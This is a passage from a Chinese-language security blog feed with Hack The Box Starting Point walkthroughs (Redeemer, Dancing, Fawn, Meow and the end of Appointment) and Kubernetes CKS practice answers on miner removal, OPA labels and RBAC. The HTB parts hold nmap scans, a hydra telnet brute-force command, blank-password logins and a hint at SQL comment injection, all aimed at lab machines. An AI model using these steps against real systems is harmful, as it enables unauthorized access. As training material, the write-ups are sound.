class="code"><pre><span class="line">Apache httpd 2.4.38 ((Debian))</span><br></pre></td></tr></table></figure></li><li><p>Task 6 What is the standard port used for the HTTPS protocol?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">443</span><br></pre></td></tr></table></figure></li><li><p>Task 7 What is a folder called in web-application terminology?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">directory</span><br></pre></td></tr></table></figure></li><li><p>Task 8 What is the HTTP response code is given for ‘Not Found’ errors?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">404</span><br></pre></td></tr></table></figure></li><li><p>Task 9 Gobuster is one tool used to brute force directories on a webserver. What switch do we use with Gobuster to specify we’re looking to discover directories, and not subdomains?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">dir</span><br></pre></td></tr></table></figure></li><li><p>Task 10 What single character can be used to comment out the rest of a line in MySQL?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">#</span><br></pre></td></tr></table></figure></li><li><p>Task 11 If user input is not handled carefully, it could be interpreted as a comment. Use a comment to login as admin without knowing the password. What is the first word on the webpage returned?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">Congratulations</span><br></pre></td></tr></table></figure></li></ul>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
          <category> HTB </category>
          
      </categories>
      
      
        <tags>
            
            <tag> HTB </tag>
            
            <tag> Appointment </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hack The Box :: Starting Point - Redeemer</title>
      <link href="/archives/security/HTB/start-Redeemer.html"/>
      <url>/archives/security/HTB/start-Redeemer.html</url>
      
        <content type="html"><![CDATA[<ol><li><p>Which TCP port is open on the machine?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">6379</span><br></pre></td></tr></table></figure><p>扫描</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">map -p- --min-rate 5000 -sV 10.129.241.156 --open</span><br></pre></td></tr></table></figure><p> <img src="https://images.hao.kim/uploads/2024/12/3292495943e3005367d0b2acfd6430909e5861b2ecaa74042948d9683a6d806e.jpg" alt="start-Redeemer-1">  </p></li><li><p>Which service is running on the port that is open on the machine?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">redis</span><br></pre></td></tr></table></figure></li><li><p>What type of database is Redis? Choose from the following options: (i) In-memory Database, (ii) Traditional Database</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">In-memory Database</span><br></pre></td></tr></table></figure></li><li><p>Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments.</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br></pre></td></tr></table></figure></li><li><p>Which flag is used with the Redis command-line utility to specify the hostname -h</p></li><li><p>Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">info</span><br></pre></td></tr></table></figure><p> <img src="https://images.hao.kim/uploads/2024/12/628e4636247df3315a210d385f9622488af9325eb1ee6ff3f4af302fdfa17dd7.jpg" alt="start-Redeemer-2">  </p></li><li><p>What is the version of the Redis server being used on the target machine?</p> <figure class="highlight text"><table><tr><td class="code"><pre><span class="line">5.0.7</span><br></pre></td></tr></table></figure></li><li><p>Which command is used to select the desired database in Redis?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">select</span><br></pre></td></tr></table></figure></li><li><p>How many keys are present inside the database with index 0?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">4</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/d2e8b87db956ccef48a26f9a92f7e058a8a3f87d26fa07ec02e897b3e289cd1a.jpg" alt="start-Redeemer-3">  </p></li><li><p>Which command is used to obtain all the keys in a database?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">keys *</span><br></pre></td></tr></table></figure></li></ol><p>  <img src="https://images.hao.kim/uploads/2024/12/fe3b28e6660deaa25600abb0f7d6011b32b6982b049f263fd8d936c92abf8ae3.jpg" alt="start-Redeemer-4">  </p>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
          <category> HTB </category>
          
      </categories>
      
      
        <tags>
            
            <tag> HTB </tag>
            
            <tag> Redeemer </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hack The Box :: Starting Point - Dancing</title>
      <link href="/archives/security/HTB/start-Dancing.html"/>
      <url>/archives/security/HTB/start-Dancing.html</url>
      
        <content type="html"><![CDATA[<h4 id="扫描"><a href="#扫描" class="headerlink" title="扫描"></a>扫描</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nmap --open 10.129.1.125</span><br></pre></td></tr></table></figure><h4 id="查看smb服务"><a href="#查看smb服务" class="headerlink" title="查看smb服务"></a>查看smb服务</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">smbclient -L 10.129.1.125</span><br><span class="line"><span class="comment">#smbclient \\\\IP\\共享目录</span></span><br><span class="line">smbclient  \\\\10.129.1.125\\WorkShares</span><br><span class="line">    <span class="built_in">ls</span> <span class="comment">#dir也是可以的</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/d9674b5d192dd0c393e1b0a45b1ace48fea80501fd0c9432369a6e65bedd5ca1.jpg" alt="start-Dancing-1"><br><img src="https://images.hao.kim/uploads/2024/12/33dec3ebeaa0e8731d78d7f9387d413574d9c00afa8d55049cc5120184eeb8ee.jpg" alt="start-Dancing-2">  </p><ul><li><p>TASK 1 What does the 3-letter acronym SMB stand for?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">server message block</span><br></pre></td></tr></table></figure></li><li><p>TASK 2 What port does SMB use to operate at?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">445</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/5e19c8a76a71506c773228e7ab08f6e1174c596f4e879789a836b480e4df82a2.jpg" alt="start-Dancing-3">  </p></li><li><p>TASK 3 What is the service name for port 445 that came up in our Nmap scan?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">microsoft-ds</span><br></pre></td></tr></table></figure></li><li><p>TASK 4 What is the ‘flag’ or ‘switch’ we can use with the SMB tool to ‘list’ the contents of the share?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">-L</span><br></pre></td></tr></table></figure></li><li><p>TASK 5 How many shares are there on Dancing?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">4</span><br></pre></td></tr></table></figure></li><li><p>TASK 6 What is the name of the share we are able to access in the end with a blank password?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">WorkShares</span><br></pre></td></tr></table></figure></li><li><p>TASK 7 What is the command we can use within the SMB shell to download the files we find?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">get</span><br></pre></td></tr></table></figure></li></ul>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
          <category> HTB </category>
          
      </categories>
      
      
        <tags>
            
            <tag> HTB </tag>
            
            <tag> Dancing </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hack The Box :: Starting Point - Fawn</title>
      <link href="/archives/security/HTB/start-Fawn.html"/>
      <url>/archives/security/HTB/start-Fawn.html</url>
      
        <content type="html"><![CDATA[<h4 id="扫描"><a href="#扫描" class="headerlink" title="扫描"></a>扫描</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nmap --open 10.129.26.35</span><br><span class="line">nmap -A -p 21 10.129.26.35</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/aa5a592b2b0ab742373b5ceb3bde375db02b01d9ae26bd33bab039994b0bf450.jpg" alt="start-Fawn-1">  </p><h4 id="获取flag"><a href="#获取flag" class="headerlink" title="获取flag"></a>获取flag</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ftp 10.129.26.35</span><br><span class="line">    anonymous</span><br><span class="line">    <span class="built_in">ls</span></span><br><span class="line">    get flag.txt</span><br><span class="line">    <span class="built_in">cat</span> flag.txt</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/feba01bbb3a85c9b3a405142bcbaf92ca042ee8db4164a495338b04092a3e19d.jpg" alt="start-Fawn-2">  </p><ul><li><p>TASK 1 What does the 3-letter acronym FTP stand for?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">File Transfer Protocol</span><br></pre></td></tr></table></figure></li><li><p>TASK 2 Which port does the FTP service listen on usually?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">21</span><br></pre></td></tr></table></figure></li><li><p>TASK 3 What acronym is used for the secure version of FTP?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">SFTP</span><br></pre></td></tr></table></figure></li><li><p>TASK 4 What is the command we can use to send an ICMP echo request to test our connection to the target?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">ping</span><br></pre></td></tr></table></figure></li><li><p>TASK 5 From your scans, what version is FTP running on the target?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">vsftpd 3.0.3</span><br></pre></td></tr></table></figure></li><li><p>TASK 6 From your scans, what OS type is running on the target?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">Unix</span><br></pre></td></tr></table></figure></li><li><p>TASK 7 What is the command we need to run in order to display the ‘ftp’ client help menu?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">ftp -h</span><br></pre></td></tr></table></figure></li><li><p>TASK 8 What is username that is used over FTP when you want to log in without having an account?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">anonymous</span><br></pre></td></tr></table></figure></li><li><p>TASK 9 What is the response code we get for the FTP message ‘Login successful’?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">230</span><br></pre></td></tr></table></figure></li><li><p>TASK 10 There are a couple of commands we can use to list the files and directories available on the FTP server. One is dir. What is the other that is a common way to list files on a Linux system.</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">ls</span><br></pre></td></tr></table></figure></li><li><p>TASK 11 What is the command used to download the file we found on the FTP server?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">get</span><br></pre></td></tr></table></figure></li></ul>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
          <category> HTB </category>
          
      </categories>
      
      
        <tags>
            
            <tag> HTB </tag>
            
            <tag> Fawn </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hack The Box :: Starting Point - Meow</title>
      <link href="/archives/security/HTB/start-Meow.html"/>
      <url>/archives/security/HTB/start-Meow.html</url>
      
        <content type="html"><![CDATA[<p>一些名词,比较简单</p><ul><li><p>TASK 1 What does the acronym VM stand for?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">Virtual Machine</span><br></pre></td></tr></table></figure></li><li><p>TASK 2 What tool do we use to interact with the operating system in order to issue commands via the command line, such as the one to start our VPN connection? It’s also known as a console or shell.</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">terminal</span><br></pre></td></tr></table></figure></li><li><p>TASK 3 What service do we use to form our VPN connection into HTB labs?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">openvpn</span><br></pre></td></tr></table></figure></li><li><p>Task 4 What is the abbreviated name for a ‘tunnel interface’ in the output of your VPN boot-up sequence output?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">tun</span><br></pre></td></tr></table></figure></li><li><p>Task 5 What tool do we use to test our connection to the target with an ICMP echo request?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">ping</span><br></pre></td></tr></table></figure></li><li><p>Task 6 What is the name of the most common tool for finding open ports on a target?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">nmap</span><br></pre></td></tr></table></figure></li><li><p>Task 7 What service do we identify on port 23&#x2F;tcp during our scans?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">telnet</span><br></pre></td></tr></table></figure></li><li><p>Task 8 What username is able to log into the target over telnet with a blank password?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">root</span><br></pre></td></tr></table></figure></li></ul><h5 id="获取flag"><a href="#获取flag" class="headerlink" title="获取flag"></a>获取flag</h5><ul><li><p>nmap 检测 IP 发现 开放 23端口</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nmap ip --open</span><br></pre></td></tr></table></figure></li></ul><p><img src="https://images.hao.kim/uploads/2024/12/8b835a5d9c0487e91ad23e87416587da3fae48b04faa91d5f909f0de0d863ca5.jpg" alt="star-Meow-1">  </p><ul><li><p>简单的弱密码测试</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">hydra -L /usr/share/wordlists/metasploit/http_default_users.txt -e nsr telnet://10.129.40.120</span><br></pre></td></tr></table></figure><p>这样的结果表名 用户名是 root 密码为 空</p><p><img src="https://images.hao.kim/uploads/2024/12/94fd3dfa39ecc6e568cce17db11c71eed224592d44ca94c837c84fdf2c8c9808.jpg" alt="star-Meow-2">  </p></li><li><p>使用telnet 登陆并查看flag</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">telnet 10.129.40.120</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root  <span class="comment"># 登陆用户</span></span><br><span class="line"><span class="built_in">ls</span></span><br><span class="line"><span class="built_in">cat</span> flag.txt</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/c1cc798d0bf324892080569c9afe16081b92cd5847cdf9e08152de7231a56eff.jpg" alt="star-Meow-3"></p></li></ul>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
          <category> HTB </category>
          
      </categories>
      
      
        <tags>
            
            <tag> HTB </tag>
            
            <tag> Meow </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hack The Box 初次使用</title>
      <link href="/archives/security/HTB/start.html"/>
      <url>/archives/security/HTB/start.html</url>
      
        <content type="html"><![CDATA[<p>登陆后, 点击右侧的 <code>Lab --&gt; STARTING POINT</code></p><p><img src="https://images.hao.kim/uploads/2024/12/aa08557a3c308669be87a31f2355b5603558b7f7644d6ef8467f0c88fcbf8476.jpg" alt="start-0">  </p><p>点击第一个</p><p><img src="https://images.hao.kim/uploads/2024/12/70dcffe6e4cceb3190c1872aebcbfa834e8aaa6f245f8126ad1bb5d4c2d73cf7.jpg" alt="start-1">  </p><p>使用openvpn配置文件进行连接</p><p><img src="https://images.hao.kim/uploads/2024/12/51c6b9db7d6f557ff6d304710e81e5c96175197f139cbfbc53dede690c7c08d4.jpg" alt="start-2">  </p><p>下载配置文件</p><p><img src="https://images.hao.kim/uploads/2024/12/ac0be062d6ba87dc1175dc8d6ea315390d820d88e327632bda703247969f1576.jpg" alt="start-3">  </p><h4 id="使用配置文件"><a href="#使用配置文件" class="headerlink" title="使用配置文件"></a>使用配置文件</h4><p>下载openvpn 客户端 <a href="https://openvpn.net/">https://openvpn.net/</a></p><p><img src="https://images.hao.kim/uploads/2024/12/c2a0b5e7bb402d2d3252c0597262caf7906e79d702e1baa9bebf67cac1dc6713.jpg" alt="start-4">  </p><ul><li>Linux<br>参考 : <a href="https://community.openvpn.net/openvpn/wiki/OpenVPN3Linux">https://community.openvpn.net/openvpn/wiki/OpenVPN3Linux</a></li></ul><p>使用:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">openvpn xxx.ovpn</span><br></pre></td></tr></table></figure><ul><li>Windows<br><a href="https://openvpn.net/downloads/openvpn-connect-v3-windows.msi">https://openvpn.net/downloads/openvpn-connect-v3-windows.msi</a></li></ul><p>使用: 安装以后导入下载的配置文件,然后点击连接</p><p><img src="https://images.hao.kim/uploads/2024/12/3fd32d1897687bcffb61ab99683eb135486b2b48dab68f1ffaae0d2dde74b7ce.jpg" alt="start-5">  </p><p>开启靶场虚拟机 左上角点击 Start point 可以查看当前连接情况, 当连接以后,就可以开启靶场了</p><p><img src="https://images.hao.kim/uploads/2024/12/a7d0a54770c681629ed03bfc9ba5d7f142be4307e235e836c1b2e10f75b1bdb9.jpg" alt="start-6">  </p><p>点击 spawn machine 开机</p><p><img src="https://images.hao.kim/uploads/2024/12/0572cf3257f02ce17a8579677ef6baa99f0f0c114ca2d28eeffa883f1a9980c1.jpg" alt="start-7">  </p><p>稍等片刻出现IP地址就可以了进行测试了, 后面分别时重启和关机</p><p><img src="https://images.hao.kim/uploads/2024/12/5ad2ba31196791914e63f3f1cf2a213ed4a41f6474d2161bd04cba33703d3c64.jpg" alt="start-8">  </p>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
          <category> HTB </category>
          
      </categories>
      
      
        <tags>
            
            <tag> HTB </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Preview Question 3</title>
      <link href="/archives/kubernetes/CKS/miner.html"/>
      <url>/archives/kubernetes/CKS/miner.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context workload-stage</code></p><p>A security scan result shows that there is an unknown miner process running on one of the Nodes in cluster3. The report states that the process is listening on port 6666. Kill the process and delete the binary.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>使用上下文: <code>kubectl config use-context workload-stage</code></p><p>安全扫描结果显示，集群3中的一个节点上有一个未知的挖矿进程在运行。报告指出，该进程正在监听6666端口。杀死该进程并删除二进制文件。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>检查node</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get node</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/db651c827155b4d2cd2f328fbead91b43b49c2ad5712b6ac760b67e85f1ae701.jpg" alt="miner-0">  </p><p>检查master节点</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster3-controlplane1</span><br><span class="line"></span><br><span class="line">netstat -plnt | grep 6666</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/3b10e84304d97b7de36609a1e31c844995dfc21dbc4b4da98381ec79911a174f.jpg" alt="miner-1">  </p><p>检查 node节点</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster3-node1</span><br><span class="line">netstat -plnt | grep 6666</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/3c696fe9315bc639012fd8787fe50454b8d83c73be83067c8426a64f5c649386.jpg" alt="miner-2">  </p><p>使用lsof 检查进程 , 查看 路径, 删除对应的文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">lsof -i :6666</span><br><span class="line"><span class="built_in">ls</span> -lh /proc/9591/exe</span><br><span class="line"><span class="built_in">kill</span> -9 9591</span><br><span class="line"><span class="built_in">rm</span> /bin/system-atm</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/331e8f03e297865a08d55ca324e36866f576665026cc91161f7f5c44c09fe44d.jpg" alt="miner-3"><br><img src="https://images.hao.kim/uploads/2024/12/031ef9ce9ec1589524e006112c9ae006d80856483ee7ba8770fc078a5e9573ad.jpg" alt="miner-4"><br><img src="https://images.hao.kim/uploads/2024/12/0cc4dd9b242e2a4c3aa0387711009a99a0a3564ed85b595a8a86ccc58fbb4b06.jpg" alt="miner-5">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Preview Question 2</title>
      <link href="/archives/kubernetes/CKS/open-policy-agent-2.html"/>
      <url>/archives/kubernetes/CKS/open-policy-agent-2.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context infra-prod</code></p><p>There is an existing Open Policy Agent + Gatekeeper policy to enforce that all Namespaces need to have label <code>security-level</code> set. Extend the policy constraint and template so that all Namespaces also need to set label  <code>management-team</code> . Any new Namespace creation without these two labels should be prevented.</p><p>Write the names of all existing Namespaces which violate the updated policy into  <code>/opt/course/p2/fix-namespaces</code> .</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>使用上下文: <code>kubectl config use-context infra-prod</code></p><p>有一个现有的Open Policy Agent + Gatekeeper策略来强制执行,所有Namespace需要设置标签 <code>security-level</code> 。扩展策略约束和模板，所有 Namespaces 也需要设置标签  <code>management-team</code> 。阻止创建任何没有这两个标签的新命名空间。</p><p>将所有违反更新策略的现有 Namespace 的名称写入 &#x2F;opt&#x2F;course&#x2F;p2&#x2F;fix-namespaces 中。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>检查现有opa限制</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get crd</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get constraint</span><br></pre></td></tr></table></figure><p>检查违规情况</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k describe requiredlabels namespace-mandatory-labels</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/b269756dd09f592abe45a3a9e7ac311b25bf7fc63835bfde15a49a39b2d96831.jpg" alt="open-policy-agent-2-0">  </p><p>看到命名空间 <code>sidecar-injector</code> 有一处违规</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get ns --show-labels</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/17c8de2dbe951dce74ee483be749db13126f7e2a9202eded984278c24632bd8f.jpg" alt="open-policy-agent-2-1">  </p><p>当我们试图创建一个没有任何标签的命名空间的时候,提示OPA错误</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k create ns <span class="built_in">test</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/2a3f923ad49d0decaedb45ca447a31cec04c7569ea15cb1e6adb0a3f5eaf9cfd.jpg" alt="open-policy-agent-2-3">  </p><p>编辑约束 添加另外一个标签</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k edit requiredlabels namespace-mandatory-labels</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># kubectl edit requiredlabels namespace-mandatory-labels</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">constraints.gatekeeper.sh/v1beta1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">RequiredLabels</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">annotations:</span></span><br><span class="line">    <span class="attr">kubectl.kubernetes.io/last-applied-configuration:</span> <span class="string">|</span></span><br><span class="line"><span class="string">      &#123;&quot;apiVersion&quot;:&quot;constraints.gatekeeper.sh/v1beta1&quot;,&quot;kind&quot;:&quot;RequiredLabels&quot;,&quot;metadata&quot;:&#123;&quot;annotations&quot;:&#123;&#125;,&quot;name&quot;:&quot;namespace-mandatory-labels&quot;&#125;,&quot;spec&quot;:&#123;&quot;match&quot;:&#123;&quot;kinds&quot;:[&#123;&quot;apiGroups&quot;:[&quot;&quot;],&quot;kinds&quot;:[&quot;Namespace&quot;]&#125;]&#125;,&quot;parameters&quot;:&#123;&quot;labels&quot;:[&quot;security-level&quot;]&#125;&#125;&#125;</span></span><br><span class="line"><span class="string"></span>  <span class="attr">creationTimestamp:</span> <span class="string">&quot;2020-09-14T19:29:53Z&quot;</span></span><br><span class="line">  <span class="attr">generation:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">namespace-mandatory-labels</span></span><br><span class="line">  <span class="attr">resourceVersion:</span> <span class="string">&quot;3081&quot;</span></span><br><span class="line">  <span class="attr">selfLink:</span> <span class="string">/apis/constraints.gatekeeper.sh/v1beta1/requiredlabels/namespace-mandatory-labels</span></span><br><span class="line">  <span class="attr">uid:</span> <span class="string">2a51a291-e07f-4bab-b33c-9b8c90e5125b</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">match:</span></span><br><span class="line">    <span class="attr">kinds:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;&quot;</span></span><br><span class="line">      <span class="attr">kinds:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">Namespace</span></span><br><span class="line">  <span class="attr">parameters:</span></span><br><span class="line">    <span class="attr">labels:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">security-level</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">management-team</span> <span class="comment"># add</span></span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get constrainttemplates</span><br><span class="line"></span><br><span class="line">k edit constrainttemplates requiredlabels</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># kubectl edit constrainttemplates requiredlabels</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">templates.gatekeeper.sh/v1beta1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ConstraintTemplate</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">crd:</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">names:</span></span><br><span class="line">        <span class="attr">kind:</span> <span class="string">RequiredLabels</span></span><br><span class="line">      <span class="attr">validation:</span></span><br><span class="line">        <span class="attr">openAPIV3Schema:</span></span><br><span class="line">          <span class="attr">properties:</span></span><br><span class="line">            <span class="attr">labels:</span></span><br><span class="line">              <span class="attr">items:</span> <span class="string">string</span></span><br><span class="line">              <span class="attr">type:</span> <span class="string">array</span></span><br><span class="line">  <span class="attr">targets:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">rego:</span> <span class="string">|</span></span><br><span class="line"><span class="string">      package k8srequiredlabels</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">      <span class="string">violation[&#123;&quot;msg&quot;:</span> <span class="string">msg,</span> <span class="attr">&quot;details&quot;:</span> &#123;<span class="attr">&quot;missing_labels&quot;:</span> <span class="string">missing</span>&#125;<span class="string">&#125;]</span> &#123;</span><br><span class="line">        <span class="string">provided</span> <span class="string">:=</span> &#123;<span class="string">label</span> <span class="string">|</span> <span class="string">input.review.object.metadata.labels</span>[<span class="string">label</span>]&#125;</span><br><span class="line">        <span class="string">required</span> <span class="string">:=</span> &#123;<span class="string">label</span> <span class="string">|</span> <span class="string">label</span> <span class="string">:=</span> <span class="string">input.parameters.labels</span>[<span class="string">_</span>]&#125;</span><br><span class="line">        <span class="string">missing</span> <span class="string">:=</span> <span class="string">required</span> <span class="bullet">-</span> <span class="string">provided</span></span><br><span class="line">        <span class="comment"># count(missing) == 1 # 注释后添加下面一行</span></span><br><span class="line">        <span class="string">count(missing)</span> <span class="string">&gt;</span> <span class="number">0</span>    <span class="comment"># 添加</span></span><br><span class="line">        <span class="string">msg</span> <span class="string">:=</span> <span class="string">sprintf(&quot;you</span> <span class="attr">must provide labels:</span> <span class="string">%v&quot;</span>, [<span class="string">missing</span>]<span class="string">)</span></span><br><span class="line">      &#125;</span><br><span class="line">    <span class="attr">target:</span> <span class="string">admission.k8s.gatekeeper.sh</span></span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k describe requiredlabels namespace-mandatory-labels</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/1269531e96e8a5ab0348c2f422abcdbb4557ecb205b878627a502d9b25ff7f70.jpg" alt="open-policy-agent-2-4">  </p><p>违规命名空间写入文件</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># /opt/course/p2/fix-namespaces</span><br><span class="line">sidecar-injector</span><br><span class="line">jeffs-playground</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Preview Question 1</title>
      <link href="/archives/kubernetes/CKS/RBAC-2.html"/>
      <url>/archives/kubernetes/CKS/RBAC-2.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context infra-prod</code></p><p>You have admin access to cluster2. There is also context <code>gianna@infra-prod</code> which authenticates as user <code>gianna</code> with the same cluster.</p><p>There are existing cluster-level RBAC resources in place to, among other things, ensure that user <code>gianna</code> can never read Secret contents cluster-wide. Confirm this is correct or restrict the existing RBAC resources to ensure this.</p><p>I addition, create more RBAC resources to allow user <code>gianna</code> to create Pods and Deployments in Namespaces  <code>security</code> , <code>restricted</code> and  <code>internal</code> . It’s likely the user will receive these exact permissions as well for other Namespaces in the future.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>使用上下文: <code>kubectl config use-context infra-prod</code></p><p>你有 cluster2 的管理权限。还有一个context  <code>gianna@infra-prod</code> ，它以用户<code>gianna</code>的身份认证同一个集群。</p><p>现有的集群级RBAC资源已经到位，除其他外，确保用户<code>gianna</code>永远不能读取整个集群的秘密内容。确认这一点是正确的，或者限制现有的RBAC资源以确保这一点。</p><p>此外，创建更多的RBAC资源，允许用户<code>gianna</code>在名字空间的  <code>security</code> , <code>restricted</code> ,<code>internal</code>  创建Pod和部署。在未来，该用户很可能也会在其他命名空间获得这些确切的权限。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><h5 id="检查已经存在的RBAC规则"><a 